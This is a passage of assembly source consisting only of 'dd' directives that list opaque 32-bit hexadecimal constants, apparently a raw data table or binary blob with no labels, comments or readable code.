		dd 661D56A1h, 454EC3CBh, 0EB6CAFCBh, 0A756621Ch, 0A8BB74B5h
		dd 6F0A2DA5h, 0CF07736Ch, 6F9E1249h, 790E612Eh,	50EC0806h
		dd 5EFC84A9h, 1E622A1Fh, 94F26150h, 3EB8BEF7h, 0D3BF662Bh
		dd 0B5C59607h, 65F2D8F3h, 132FCDD4h, 73A4764Ch,	2D7BCD71h
		dd 0B6F8C941h, 0F81A5CFh, 0CD9461E2h, 2D5DC984h, 3CF4545Fh
		dd 4EE19D77h, 465A93E4h, 0DDF5BEF8h, 0A0FC6C6Dh, 0F5BC9E74h
		dd 0CD0815AAh, 3A140118h, 87B0BE85h, 4B29FF06h,	125922DAh
		dd 9C9B2BA9h, 0DBC7B30h, 2A2629C1h, 0C6E9363Ch,	3EDDB90Dh
		dd 0FD5E503Eh, 186A9AD7h, 0C48DFAD0h, 3E9E13D1h, 8EA4E5C2h
		dd 0AB3AE7E6h, 0B0D7CE8Ah, 2FDD78B5h, 0A06F5934h, 0DC8D5D7Ch
		dd 0E62DF7D2h, 0A73C4A96h, 0B3D8AC88h, 4153AB9Bh, 0F647553Eh
		dd 0E5EEEF4Fh, 5C13EEAFh, 0AE2F8FD7h, 91FB13CAh, 0E9B7D189h
		dd 340C6A6Eh, 0B465266h, 6E72C47Dh, 983D655Fh, 0D565DC54h
		dd 0D895B21Fh, 443F7125h, 4713BE8Ah, 257DDBD6h,	0E9E25AE1h
		dd 0E302A8CFh, 8C6967D6h, 0AD0D543Ch, 0B4FFDC7Dh, 38579F23h
		dd 7F64C775h, 0D7FE6FEAh, 0B012D18Eh, 0C23EBB67h, 9755E717h
		dd 0CCA380ADh, 25FBF1E2h, 11CFED69h, 5489BB52h,	33E789FBh
		dd 2C6E0E0Ch, 7E2BA3D2h, 0BA45D955h, 0AAE86F0Fh, 0EF4272B4h
		dd 0F68CDF64h, 1999D0D1h, 61B9567Eh, 0B1861CD5h, 0F8D10ED3h
		dd 66F0F585h, 0FA1E48D4h, 45F019BBh, 0E56A2E9Ah, 0DAC6838Dh
		dd 7C0FAEFCh, 3CF371DBh, 0C932BBDBh, 0DA719355h, 18957D49h
		dd 3FDFB5B9h, 2CC5DA40h, 8DDACEF3h, 0F5C7EE14h,	0D8C13981h
		dd 8689AE33h, 4B857E1Fh, 0C3FF8275h, 0F6F8A1B3h, 40A8AC46h
		dd 44FCB731h, 2B0BEA92h, 0F2AA77E4h, 0B05881E5h, 3F3E702Fh
		dd 0DC9E612Bh, 0C028C17Fh, 0A76FED9Eh, 4533F2D2h, 0F42C814Bh
		dd 7DC4A34h, 0E15D9BA2h, 553C1EEEh, 0EB2622B4h,	176844FEh
		dd 6F118AA7h, 0C2EC376Ch, 0ABFCC26h, 17F4C9D1h,	0D89E13F9h
		dd 4A6E4A2h, 98B26B28h,	55096F0Fh, 79300A78h, 449701C6h
		dd 0ABBEF79Bh, 6FDD1D5Ah, 0EB3B87F1h, 1E394998h, 8D2A335Bh
		dd 3FB86959h, 0A3340265h, 7894F897h, 0BB93562Bh, 38E2CDB6h
		dd 0AF3FF8DCh, 93584AA8h, 87805AFh, 3336524Bh, 95F64E6Eh
		dd 0C4C267A2h, 648990F3h, 0CAFD88BEh, 0DE2E67DDh, 0F3E1D899h
		dd 78917381h, 0D2CD2FB7h, 0C3F07E3Dh, 0DFFB75CBh, 51C759Fh
		dd 1289FEE8h, 0B06BA73h, 89D25DA9h, 9DC883C0h, 7B2ADF22h
		dd 233625Fh, 0C9C1A4Fh,	0D309FC86h, 551B1B65h, 0C0FD689Ch
		dd 0E68FDF30h, 23F9EF3Ch, 54424158h, 1C06C1CCh,	0AD1AD177h
		dd 0C31EE55Fh, 0D3718C77h, 350DEF92h, 746ABB97h, 232804D8h
		dd 29F44BBCh, 0E986EC64h, 0D38DFDAAh, 0DF1590F9h, 0F02FCCECh
		dd 0BB381C5Bh, 75CD5589h, 60782D6Ah, 866E56B2h,	397E1238h
		dd 5C65E6E6h, 5E19BF3Fh, 86ABA3CDh, 0D4DDFCC4h,	98F856ABh
		dd 17DB902Bh, 6D336017h, 1DA0084Ch, 6C3C3A77h, 227B5885h
		dd 2564ECE6h, 6836A97Dh, 5BEDB44Ch, 2DA373Eh, 0B0AB6C56h
		dd 2F895653h, 0ACCFF7A7h, 0BB875DAAh, 0F6DA55BCh, 4DE96698h
		dd 0D5730A1Fh, 56DA8A6Fh, 25B89180h, 92E5BE90h,	0EE7A7D06h
		dd 7E5DB602h, 0E71DF7B1h, 46689C9Ah, 0EA545B92h, 1B6539DCh
		dd 334E57F9h, 6DD6D680h, 0BB6BFF74h, 730AFBF0h,	0D9363F15h
		dd 4D4DEB50h, 6B1F863Eh, 0F6CC110Ch, 65BABDEFh,	82CCB466h
		dd 237CD578h, 0B7833E47h, 0A827EC0Fh, 4DF8F12Bh, 540AE6F8h
		dd 0FBEF9946h, 955C72Bh, 4A1E5DA8h, 24B767B1h, 0E49AAC49h
		dd 0B463D469h, 0DDADAF9Ch, 3D546A54h, 0EF937E07h, 1B47A2D3h
		dd 15E89173h, 9755B635h, 29BE0DC9h, 0B3F7434Dh,	0DD5FD5B1h
		dd 471549D2h, 90D58D12h, 69BF7CDFh, 0AA0774FCh,	1A294B5Ch
		dd 12B9C796h, 8E5DF60Eh, 2844B5Dh, 3188A399h, 2ADDAACCh
		dd 0C09C7CAFh, 552795Ch, 0AF4CD9D9h, 48193B2Dh,	251612D6h
		dd 0DE667725h, 85FE6E2Dh, 0AE01639Fh, 0AE4961Fh, 6B1E2FEh
		dd 8CE83570h, 39A5F6C1h, 0CFDDD326h, 0A5E3A936h, 0A76ADE09h
		dd 4146B255h, 0BAB1D6AEh, 268FD5D9h, 9F207DA6h,	20719CE3h
		dd 0CF5B8833h, 0A7BBB095h, 5692BCDEh, 3D6D0558h, 1F8D3651h
		dd 9E12F71Ah, 87BEF2D1h, 2F8A9B5Bh, 0D43991CEh,	0FA1C25AFh
		dd 4E4D13CAh, 0D45BD12Ch, 0B52DAA14h, 91465DAEh, 36296C79h
		dd 0BFAB3F03h, 8C5B042Ch, 3F4C55F0h, 17C2A1F8h,	4FECECFFh
		dd 0B0BBE22Fh, 4ABAEADFh, 0EC826F09h, 0AF8152E5h, 747937E7h
		dd 5509EAC6h, 1E5B2770h, 44BC62ADh, 829E0657h, 7857C1Eh
		dd 0D0F82ADDh, 429237D6h, 10AD0EA2h, 81647B33h,	5F17BE8Ah
		dd 339FD437h, 0D71802BBh, 939F022Fh, 8D81A45Eh,	0F4BDA62Fh
		dd 3F0DE2E8h, 3DCF1C74h, 8872328Bh, 89213561h, 0A9C90CC8h
		dd 8B04E55Ah, 73E38477h, 3F034658h, 0F459F3C6h,	0BA3BD7EAh
		dd 17F84309h, 6E144E3Dh, 0C9A6A589h, 427EF7A5h,	7D4BE367h
		dd 0E20A33C3h, 4AD5BF95h, 0D7AF8D60h, 2D387BB7h, 26F7DB81h
		dd 11A05243h, 0BFF6C5Ah, 9F9DD6FAh, 39801106h, 0DBEB97B3h
		dd 0DEFBD6DAh, 255042C9h, 54E57F8Fh, 522A55D0h,	0B77C9D29h
		dd 0F41BBD97h, 749531E7h, 50FCD04Ch, 0FEECD438h, 0BFCFA5ADh
		dd 0D61C2B45h, 713AFCBEh, 97007A5Ah, 5E296F59h,	4AE80515h
		dd 5E6A135Eh, 1F5EB8DEh, 6CAA3C3Fh, 0C1A577EBh,	0F3691C4h
		dd 7B697EBEh, 3341CA5h,	3CBFF03Fh, 11DBFA5Fh, 128F22F9h
		dd 0EEB2AD77h, 0A70F0FE3h, 253C7759h, 54FE3DFCh, 8A709C8h
		dd 3C78E24Dh, 6D409023h, 0C36AD9BFh, 5BC30683h,	0CE9B522Ch
		dd 0B45EA180h, 186AF19Bh, 0ABBA2FFCh, 3CF0942Dh, 0C3F1565Dh
		dd 1471C802h, 6DCB30C5h, 26A77BF4h, 4907A9B1h, 7F94EAC7h
		dd 0BC279F81h, 889B8F04h, 5A6CDFB1h, 0D127555Bh, 0AEAAAEA6h
		dd 0CCE8D153h, 0F47BB966h, 2FE81C89h, 2A8ABD46h, 66DFCB6Fh
		dd 0F1550296h, 8E2351E0h, 265174CCh, 20136A4h, 8C47E257h
		dd 638F5475h, 5B6BA30Ah, 5822EC76h, 773EC788h, 499AD365h
		dd 0AC85F957h, 0F9FB5E34h, 57C8CE17h, 4BE2F1A2h, 231D86A5h
		dd 837C7D98h, 0E315E357h, 0AB3376CCh, 0C126BC76h, 65D7C1E1h
		dd 0D7A66ABBh, 0F2DAAEF1h, 97C8D30Bh, 0C3994A39h, 8D71170Fh
		dd 707DC82Eh, 0A5F91CD9h, 0A9C6AB8Eh, 0A816BE2Eh, 4F0DE2ADh
		dd 8D392628h, 0DEB0AFD3h, 4D6B4AB3h, 88BBB326h,	2C4726E3h
		dd 0AA52B11h, 622D45F8h, 0CA74C605h, 4D1C81F9h,	3C765CC3h
		dd 0D8001BAFh, 0BC1E8ABFh, 4ADCAAC9h, 0F422B509h, 6355573Eh
		dd 55FB16E8h, 5A97BD24h, 3EEFF247h, 0A42B8B6Fh,	6784BC9Ah
		dd 5F6309B6h, 0AC71E75Dh, 2327E931h, 891C91CDh,	0E4CF6DB9h
		dd 529EC665h, 9769D90Bh, 52566D29h, 88B92B2h, 0F844B03h
		dd 4056B177h, 65E0F6EDh, 90B43784h, 48ACF667h, 0B6C06DCCh
		dd 0B5F68E12h, 30BB2038h, 2265E71Ah, 57CB4207h,	72A3E3D6h
		dd 3106F836h, 965836A6h
		dd 7B685908h, 0CB27356Fh, 2E177E12h, 27896B39h,	0B9643B44h
		dd 6616B190h, 1F1F97ABh, 0B886FC17h, 0D599946Ah, 47127779h
		dd 5D402EE4h, 0FDEFA21Bh, 0F017937Bh, 0BFD19E43h, 64A588BAh
		dd 0FC9F3E2Ah, 7B290661h, 172BB454h, 427F7B67h,	0C6D706A1h
		dd 0A199207Ch, 7EA0AB73h, 59796133h, 71155554h,	52924F76h
		dd 0E3B3BF3Ch, 724558A2h, 87566122h, 78254E71h,	96BE794Fh
		dd 2FE848BDh, 0E879DA81h, 0EA03EBA3h, 4357EC56h, 0B450B54Bh
		dd 46DC4A0h, 0EFF4B86Fh, 69770FC0h, 0FE88EBECh,	2FF74F9Eh
		dd 0FA4D0A5Ah, 0C1A777Ah, 0E2BD132Eh, 0F294BD5Eh, 6E36A1CEh
		dd 9D71DA37h, 0E28D87CEh, 4802A662h, 9014995Fh,	3EA8892Fh
		dd 0C9C71291h, 0FC9AC96Ch, 8981A33Ah, 0A1FDAE2Ah, 2E2AF950h
		dd 96CDDB4Ch, 0D4DDB4D1h, 62D80E17h, 1C2FF5B9h,	817FA5F2h
		dd 0C181D387h, 43356191h, 96A8EDBFh, 0F89889C3h, 0DC7A62A1h
		dd 0E9D0D11h, 85D390DEh, 0B86EB702h, 0B5A5024Ah, 6499FC20h
		dd 0CAF55D9Eh, 3598FAB2h, 0EA00E665h, 0B68BA5Ah, 69CFE662h
		dd 41B2D76Bh, 0F8EEF0F2h, 0ED904B89h, 0B4A67389h, 0A7A62E31h
		dd 5C70551Ah, 0BD9F12F5h, 27C33CAAh, 0AD8BEFCCh, 54F5E169h
		dd 12E9F14Ch, 0CDA8368Ch, 402613A4h, 68B8BB83h,	0F6D4A1Dh
		dd 74976599h, 0B91BAC49h, 0F74D886Eh, 8BEF1B8Fh, 0B2F9E83h
		dd 0E17A3359h, 388DE2C1h, 77BF14A6h, 0C328F4C2h, 69E009DFh
		dd 783A04A2h, 0CAF29560h, 0CC67BA14h, 0C6F7725Dh, 0A9D3AF26h
		dd 75C33126h, 0F7D3399Fh, 3218FF4Fh, 0FB9872BFh, 8D3A5B8Ch
		dd 427E459Ch, 0AD68D5A5h, 0B4455152h, 1DFBF85Ch, 0AFB0EBC2h
		dd 0F3CC7340h, 0B3513712h, 0F48DABF6h, 1B11742Ah, 5F305A36h
		dd 5DB36BBDh, 993C0Ah, 23538ABFh, 95B31886h, 0B5C160AFh
		dd 0A7992BE2h, 0E05F2954h, 5BB8D82Eh, 0D575A25h, 8862DAA1h
		dd 0DA2FCBB4h, 0DD34164Fh, 326A4E65h, 65AA096Eh, 6608BC53h
		dd 0DF995B5Ah, 188CBC50h, 5E05C51Fh, 0B97B069Ah, 5E1E4A6h
		dd 6E6E267Dh, 0FE38C8B7h, 197F65CFh, 0FFFB1C8Fh, 0D5748D9Eh
		dd 51788F40h, 97CA121Ah, 0DEAF5070h, 0FAE33C2Dh, 0CC8D5A2Ch
		dd 0B57456F6h, 0A0BB6C46h, 8F86719Fh, 44E5BF41h, 8637BFADh
		dd 51152F6Dh, 0E0513987h, 167A9766h, 74BABB45h,	0A277BBABh
		dd 0D29650E5h, 770FCBC1h, 87E0F0E9h, 0CDAC83C7h, 20A07EF6h
		dd 0FD942D7Dh, 69ABF619h, 255D14DCh, 0BD377C0Dh, 18D06D72h
		dd 0C5B97D5Bh, 0FE4F0A24h, 0E6F983EFh, 961F9D7Dh, 3CD4CDEFh
		dd 44686E4h, 6498DE29h,	9E81B1C1h, 3BFCEC71h, 5CFC1AA7h
		dd 1F91B88Ch, 0C533E43Fh, 4C1677EFh, 922F527Ch,	359960D4h
		dd 0BCC64733h, 52BE97C9h, 68B65B58h, 0DD6F9245h, 0B9C0F3D9h
		dd 9F378771h, 4110CFCCh, 0DFA33AFCh, 0E57FBF77h, 26DE0FC3h
		dd 0E1E64D6Bh, 2FC77181h, 30C733BCh, 1BA304BBh,	0F0C42FFFh
		dd 7DD05A00h, 46358C9Eh, 36286389h, 0FDA78AB2h,	0D14B90Ch
		dd 0E9A467E0h, 0F3654F3Eh, 818460FDh, 0FAED91D9h, 9053D399h
		dd 49312121h, 0E40DAE48h, 23C1DD99h, 2ACAF7B3h,	0D23451EDh
		dd 0B5DCA13Eh, 9A9129Ah, 0A2DB8CD3h, 0C465C0FEh, 54AD1C4Ah
		dd 0D49A1AE4h, 0C0FA1E8Ah, 0C97C7B7Ah, 0CAE9B9FAh, 779764BFh
		dd 296739C4h, 9B4969F0h, 0F7C9B5C9h, 0DB14A79Eh, 2D8BC120h
		dd 0C3516DEDh, 0CE6962DBh, 0DF680E4Ch, 42DA9203h, 7CB9E35h
		dd 0E1269E1Eh, 13FDF0DFh, 70F58C91h, 3FE1D721h,	796B2974h
		dd 690995FBh, 3B658B8Bh, 0BE04D244h, 0B878F834h, 556FBB0Ah
		dd 0C2F55A6Dh, 0DBA48EAFh, 44A43B0h, 0B65BE051h, 2561E920h
		dd 2283D084h, 642DB21Ch, 1AB6AE13h, 0B4BF7F20h,	0B472ADD0h
		dd 5C8341C3h, 4727EE79h, 4C51B3D8h, 0F0BF5823h,	0EC7B1095h
		dd 70561C3Bh, 0D62D3E49h, 4015C5A9h, 0C0F6D34Fh, 5F62914Eh
		dd 70E22B3Eh, 738AFE55h, 0C5465005h, 0DBF97A57h, 466F64ACh
		dd 0B2CD73BBh, 0AD99BEABh, 0DF09549Ch, 6FB75F4Ah, 5EB54D79h
		dd 40085599h, 0C968655Dh, 6EC62555h, 0F37F604Bh, 132504D4h
		dd 0E620C19Fh, 8EC21071h, 1CE548D9h, 3365EA62h,	3DF80E83h
		dd 118CCF25h, 7E92F079h, 1B5E4ABAh, 0BF65E072h,	492CEED6h
		dd 753C1E42h, 0EB750541h, 9BB513A5h, 56341FD0h,	0F1FC3CF5h
		dd 0C292AC5Bh, 7716DF77h, 7785F12Ah, 5EC69EFCh,	0F95718D5h
		dd 6910CA89h, 0B1A96C9Eh, 0F597B14Eh, 0ECA47A36h, 3F15440h
		dd 0B477095Eh, 5EDB9CD0h, 0E255C07Dh, 77823287h, 56670274h
		dd 371BF4E4h, 39EE5AA7h, 0F01AE9DFh, 0CB1FC3C1h, 9F951656h
		dd 666A511Ah, 692FC3C6h, 642FA061h, 8461EB1Eh, 2D3703F8h
		dd 2704778Ah, 56A62BD8h, 0BB9E710Dh, 62A8A8DAh,	0C5C6EB6Ch
		dd 0B373A12Ah, 8E841F87h, 0C93D4C4h, 0A898FBAh,	0B8A95922h
		dd 5F9379AFh, 0CFF262D7h, 43A4BC19h, 0AF7AA22Ch, 0F2B63E3Eh
		dd 0BCF1298Ch, 14E0B28Eh, 308F25CFh, 0FC98EC91h, 4B87FF73h
		dd 74AA1FDDh, 479D1870h, 922DFA0Bh, 66BC5CCDh, 0F8CF3E63h
		dd 1CD96EE1h, 78F6BA7h,	0C2381FDEh, 969879EAh, 2A898A7Dh
		dd 0CB433E8Eh, 0D131DEBh, 0CD65F153h, 42592A0Dh, 59C8D4E0h
		dd 0A768DE20h, 37554762h, 4AC6C850h, 0EAE92542h, 90557022h
		dd 2F27574Bh, 554771E6h, 0E4E8064Bh, 3AC0C997h,	0ADDC7685h
		dd 3831614Fh, 0EBC39A54h, 46691CB9h, 6CA5847Bh,	89F330FCh
		dd 497BEB78h, 8ACD5A58h, 0A9E246A9h, 0F0473ECCh, 346ED2AAh
		dd 3E047D9h, 78D4CF17h,	0BD6DDDFEh, 357EA1ACh, 0F1693210h
		dd 39E4B27Bh, 2A820888h, 0D7D56C9Bh, 6169E9DFh,	6AE41F82h
		dd 4DED8094h, 339CD7F5h, 5DFD086h, 0AC1B1182h, 3D506175h
		dd 6DAF3CD5h, 2DD17416h, 0DA8F36D1h, 71D9B1F0h,	0CBDBCAABh
		dd 713A0FC1h, 930C080Bh, 50FF1B88h, 0AEDB67D6h,	0B1F6554Ch
		dd 6BCF0B49h, 0C0DD88F1h, 9152D5E2h, 0E7BFD077h, 729FFF62h
		dd 29B2A797h, 0E1463FDBh, 1E1C8D01h, 0BCDB8C79h, 45452963h
		dd 7386B314h, 0E496F6EDh, 7493FE6Dh, 32B5F6B3h,	7C17B562h
		dd 6B445AE6h, 5B6851DAh, 27EF21FBh, 0B1F826EAh,	9BC15BF4h
		dd 0BFE009C3h, 9359A88Ch, 9433E0DEh, 88B3CAB3h,	90C74148h
		dd 0C578AD6Fh, 68C0C47Eh, 0C39B97CCh, 3455F11Bh, 0F6B39BB5h
		dd 0E962A18h, 0F9662AB0h, 97CE7015h, 0AD739AC6h, 0B4CFC515h
		dd 54085A3h, 4B1C95F3h,	0D8D119BFh, 0FAB53E25h,	9CEE39D7h
		dd 0DABFA29Bh, 9FCD44D8h, 0C0A49A2Dh, 0C590D529h, 9113A7B9h
		dd 0CF023208h, 9DF4FE8Dh, 0E282A7ECh, 4569B60Ah, 84259ADBh
		dd 8143C3F1h, 7DCA99C1h, 0B3B259E2h, 4C8B7DA0h,	4A5C6AF8h
		dd 9DC5C441h, 0CAC17EBh, 70367D9Dh, 0F04BDA1Fh,	0F57117D1h
		dd 54C3F7C0h, 0D5717718h, 0E8573FA2h, 584F646Bh, 0CE2D4FE9h
		dd 0A6558343h, 45D172F1h, 3D591A90h, 54CFA738h,	0F15475EFh
		dd 12E14A68h, 3BA35FB3h, 141842D0h, 4B71F1AEh, 0AFE67977h
		dd 39B06E22h, 6D571F70h, 0E872FC47h, 9378EB12h,	78423879h
		dd 8E5CFD17h, 0D4333719h, 0B372C997h, 0D69946E1h, 651F5D31h
		dd 0E6B1231Dh, 609497C7h, 9F92D06Fh, 0A4E5A812h, 42FB3EE2h
		dd 0BE2B594Fh, 66685A2Ah, 6E5F9E81h, 5F93FC63h,	0F589A2ECh
		dd 0D379DEB6h, 1B3BFBE5h, 0D33F634Eh, 8977A606h, 0E7F541D7h
		dd 88720197h, 63D4E1B0h, 231EA341h, 0F64F53B8h,	9B3A244Fh
		dd 8103C2D0h, 55EDA386h, 0B4ABC89Dh, 9C7E14E8h,	0B569A82Fh
		dd 544F9DCEh, 0EC4FFB97h
		dd 2BF3F09Dh, 0E3C13553h, 35483C69h, 0BEF22FB0h, 4F09A71Eh
		dd 9102BC7Bh, 682D1429h, 0F0A40DE3h, 282A1D2h, 0AC043D99h
		dd 7ABCD08Eh, 9B7CCE16h, 0B12DC3B6h, 9D42FCABh,	0A9CB52F7h
		dd 47179E7Dh, 517B76F7h, 1FC7B8B3h, 0ECDAD0A8h,	79512E8h
		dd 0F262EE76h, 14643F8Fh, 832F9C1Eh, 4B9AD7AAh,	0A72AF1EFh
		dd 0DDA6FD5Ch, 433995C5h, 6EAC8D4Dh, 4460688Ah,	0B8B83375h
		dd 2CA62267h, 0AEDB77D4h, 931A0E8Ah, 0DB807DBDh, 68925E37h
		dd 0E49D5EABh, 0F3343AF3h, 0FB2ACFEBh, 0F59BCEA4h, 0F6B7D0A4h
		dd 96349C4Ch, 1B8E62FFh, 3907C699h, 0EB8ABB9Fh,	646A6898h
		dd 0D6D78536h, 4C4238FEh, 0F8A413Fh, 0D9DE11ACh, 50E6A95Eh
		dd 2C96D0B2h, 0D7BA99F5h, 0A10EA354h, 836103C4h, 6550941Ch
		dd 0D1A12441h, 0DB2EB976h, 0EDAA1FC5h, 3A64975Eh, 0AD9B2AA0h
		dd 0CF5D6032h, 44D977F3h, 0AF893EE0h, 0A95D264Ch, 0E749E43Dh
		dd 59AD75Ah, 5CD689CCh,	864BEACDh, 0E6EDB9F6h, 0CF2B7456h
		dd 7468225Fh, 72B5CA33h, 3414F059h, 280A1258h, 0CC5FD7DCh
		dd 0B7FE5782h, 558591EAh, 0B84845FBh, 7CB39C1h,	3B35AF56h
		dd 0CE3C01B9h, 0AFE752E6h, 49F64B74h, 99D4F53Eh, 5D2A4177h
		dd 87F9B6Bh, 0DB20EBFBh, 24C7B251h, 65602918h, 0D85BF6F8h
		dd 712E94F3h, 24D70E31h, 298CD2A4h, 37979074h, 0C37C8BAEh
		dd 22E7EE97h, 0F1FB304Bh, 86AEE57Ah, 0E6BCF549h, 0B9C67721h
		dd 0A8DC1980h, 0A136F9F2h, 33CB15C3h, 3F7C5685h, 51180EF5h
		dd 0E285C493h, 0F68A437Bh, 0EDDCE3B0h, 0F84AFF82h, 91492D54h
		dd 0CEADEC6Ah, 51B80BB8h, 0F6E2EE54h, 0D82A7E0Fh, 4E1ACE3Ah
		dd 8D8E314Dh, 0DA676F4Ch, 4A7CA768h, 0C0F01B75h, 0C8D4D56Dh
		dd 0C97CA36Ah, 0C8052D16h, 0C73C7F7Ah, 75B0F8F1h, 0A6120874h
		dd 0EDA289E2h, 0A367D839h, 79AAD579h, 8BFE41A7h, 5DCBC677h
		dd 4B3F35F6h, 61B349C9h, 781A68D9h, 6F497637h, 3C57481Bh
		dd 735742A7h, 560FDD78h, 0BF38E9ACh, 0A2BC53D4h, 0A3A1763Ah
		dd 67C457A5h, 84B1F8C9h, 0C5FC83E1h, 0CD56C3F0h, 0CF0A175Eh
		dd 167A7A95h, 13B41170h, 219B4C0Ch, 0B2B832Dh, 0F8181C93h
		dd 9C7C5771h, 5FB08626h, 4D99EFD5h, 5F469481h, 5982C62Ah
		dd 8615825Ah, 91ACE1AEh, 4E8AAE76h, 0B41F4EE1h,	7D157960h
		dd 239EDCCBh, 8D0679FDh, 34FCA46Eh, 2E7C8462h, 292292C6h
		dd 585EB5D8h, 3EB4DB8h,	0AF106E73h, 899A8FD6h, 0CE4BE512h
		dd 82C82179h, 0E9F84406h, 26A7935Dh, 341F7F5Bh,	0FF49BB9Ah
		dd 6CEF7E0Dh, 8D32725Eh, 0D9B22F69h, 4AF3B8AFh,	6BB65F69h
		dd 69D2B8E5h, 741CAE6Bh, 1457CAB3h, 856F5363h, 0DD5AE7FBh
		dd 93B1E29Ah, 0CEDB54DCh, 657A3CC9h, 504A4030h,	0F74197E6h
		dd 0A9E35FC3h, 0A6A8667Ch, 270CF73Ch, 7D32EAF3h, 63FAFA0h
		dd 0B7D11296h, 97530C7Fh, 4BB739E2h, 5DFADFB9h,	75B06179h
		dd 66FABBB9h, 7AD21A77h, 0B85B86EFh, 6607A942h,	0D2DC1F1Eh
		dd 970985F0h, 0B766F5EBh, 82BAC352h, 483F9ECh, 59364DAEh
		dd 982EA6F5h, 0B2C50BF2h, 33BAD6ADh, 0EAEA607Bh, 6157B64Dh
		dd 8A48BB2Eh, 687EFB77h, 9DAEBE9Dh, 0BB87BE61h,	3B2A27A1h
		dd 0EC897A56h, 72E3D900h, 1E8CB64Fh, 0ECCA295Ch, 56DD6872h
		dd 0CFB08A4Ch, 909A7168h, 0B67B577Eh, 6728384Bh, 5CAACB5Ah
		dd 8768BA47h, 3FB1F896h, 0E5F8CB71h, 95E651ABh,	9537AFFh
		dd 0B8EF0AFBh, 9543ACC9h, 2ACD1926h, 9584BABBh,	0FCACDF6Dh
		dd 0CE72ABA8h, 5608DD6Eh, 76DE67DFh, 0B456180Eh, 8E87E0CEh
		dd 0FED59FE0h, 855494A2h, 352B74E5h, 0A633459Ah, 6E38EC24h
		dd 0E7AC6A99h, 1DB9BB2Ah, 20DCBFE3h, 0E3B15E5Eh, 94F7E7AFh
		dd 2A6E1AEFh, 7B85AFC4h, 6C16D707h, 5CAE1219h, 39D907EDh
		dd 0BD68E9F8h, 0C0C25F1Ah, 8A97B93Fh, 6C5570B2h, 6518417Ch
		dd 880B36ACh, 0A1975C47h, 0D673FA4Fh, 61E74CAh,	0AC52968Dh
		dd 0E0AFCE49h, 86D88D03h, 60567D77h, 2E66BE72h,	4EB4590Ch
		dd 98CDD7E9h, 24BF8F7Ah, 8649257Fh, 0AB343186h,	2D1BD6F1h
		dd 0FBBC9755h, 185EB86Dh, 62CDAD5Ah, 0FF4406C2h, 0B746D199h
		dd 6181FE0Ah, 773971B3h, 8A8EAE69h, 4F84BD41h, 0CAF45FEBh
		dd 0AC95A212h, 6EC7AD06h, 7F5E5B5Bh, 89F6EB7Fh,	7D685AEFh
		dd 0E6F4CF3h, 1EBA5CB6h, 39B9CCC2h, 71F02EEFh, 8BF22E6Fh
		dd 189A9450h, 2AD4EB2Dh, 547FC4B8h, 21C041B1h, 72F1A79h
		dd 0BEBFF66h, 0D5C9251Eh, 0DC7385A3h, 9241B4C3h, 0C5764A3Dh
		dd 0E3BAA23Bh, 0A28BB39Bh, 0C28E7213h, 2E3B1386h, 7E91197Ch
		dd 6F8B2BA4h, 0A9504C5Eh, 8DFB077Fh, 859B2FFEh,	13512697h
		dd 55D8EB8Fh, 3CA927ADh, 43307E33h, 6E95D2B5h, 49CEF035h
		dd 83D4F653h, 0FAFAA1Fh, 8257FC44h, 3A17C95h, 122C332Fh
		dd 95C64815h, 0B420B16Ch, 3DB51118h, 0F22F584Fh, 0AF240F1Fh
		dd 0BFBA64E3h, 82AC875Bh, 9FA6079Eh, 0E8FB2B54h, 14250271h
		dd 5A30F5ECh, 0D6258234h, 1D1AB57Bh, 0B4280997h, 0CFBD0B28h
		dd 0EE79E511h, 55941262h, 0D06C0914h, 8751CE5Ah, 0E0761797h
		dd 4C4464A8h, 568EEC6Bh, 0C6178B5Ch, 0E4034CEDh, 70FCE628h
		dd 3C435FB8h, 440B32BEh, 5F02917Ah, 0B4216268h,	0F9B3EE05h
		dd 67A9C9EEh, 1C1E9A92h, 6FF8FA82h, 0C4EB1E67h,	0C817AA3Fh
		dd 759CCFFBh, 72DCFCF5h, 0A52C35E5h, 0C4827898h, 0F32A1A1Ah
		dd 2AB4D1CEh, 0A3E7C27Ah, 0A5E3F52Ah, 79EAA397h, 3A5557F2h
		dd 25D01619h, 0C4562E29h, 0EC7D361Ah, 35895EAFh, 20305FE2h
		dd 4668725Ah, 3BE0B05Fh, 3816DF72h, 8ACC50EBh, 0DF1A4927h
		dd 0F6CBB270h, 986E1B5Ah, 72CACD89h, 33F608C2h,	52A5CCD3h
		dd 0B35A42E3h, 0ADCD7715h, 8C4A1B0Eh, 4CFF0A6Fh, 0ABD0F1AAh
		dd 43C474AEh, 0DBAFA120h, 5F84A5BCh, 5287AABFh,	43591FCFh
		dd 7E3DB20Ah, 9C67A86Dh, 841EE51Ah, 9CD3E052h, 0E1AEB866h
		dd 0C58DC9E1h, 0D42A490h, 62092FE2h, 0E137557Eh, 0A9349607h
		dd 0A69C27C6h, 18714463h, 9EDD2CC0h, 0A76879F8h, 0F25CA32Dh
		dd 4738A1A8h, 0DC610FEFh, 0BF4FDB2Bh, 0B0AA87EEh, 632BC9BDh
		dd 5D98ED83h, 96A24429h, 0F2AB53FDh, 0CBE2D97h,	8F978344h
		dd 52F8467Bh, 6C3F36F4h, 73295FC5h, 0C293BDF4h,	0B45B9F16h
		dd 0F12B8F74h, 7ABEA385h, 5F9F2981h, 0CCA343BEh, 0FA1B56A3h
		dd 0C4EBA5F8h, 0F895464Ah, 19505489h, 0D6A1327Ah, 5F6B756Dh
		dd 0B8A7BEBBh, 3617C0F2h, 0C668344Fh, 22F07E5Ch, 62F6F37h
		dd 2E9B0B07h, 5551EDBAh, 1385DA4Ah, 6B44BCB2h, 13E05082h
		dd 98A98231h, 0FA16ADFAh, 73676CA3h, 34941F62h,	9F1958ABh
		dd 2A9DDB46h, 2520E19Dh, 0F1FB1973h, 4B696388h,	9E09F31Ah
		dd 81857F5Ch, 6B5E76E7h, 56434B4Dh, 3DF6192Eh, 0B07F0F2Bh
		dd 0DBBFD1F9h, 0ECB7D50Fh, 12583B58h, 4284CD2Ch, 579C89D9h
		dd 57B18D32h, 0C23E2A95h, 13F35DDAh, 0BF7D7059h, 5329B45Fh
		dd 6ABC4578h, 0ED105527h, 0BE6483D4h, 91E6EB9Ch, 37BDBDFFh
		dd 7C6D5592h, 0AC1CFC75h, 8862259Eh, 0EEA1361Fh, 0B67214C7h
		dd 0D5F6354Ah, 0DD11D1F4h, 7DE17E0Ah, 761E6DEBh, 0CAED2F09h
		dd 0D172A295h, 433C81E8h, 87E1D50Ch, 0D020699Eh, 6D1AE63Eh
		dd 0DC6081F1h, 0FB24BC8Dh, 0AC053850h, 0DD307EA4h, 1C459E99h
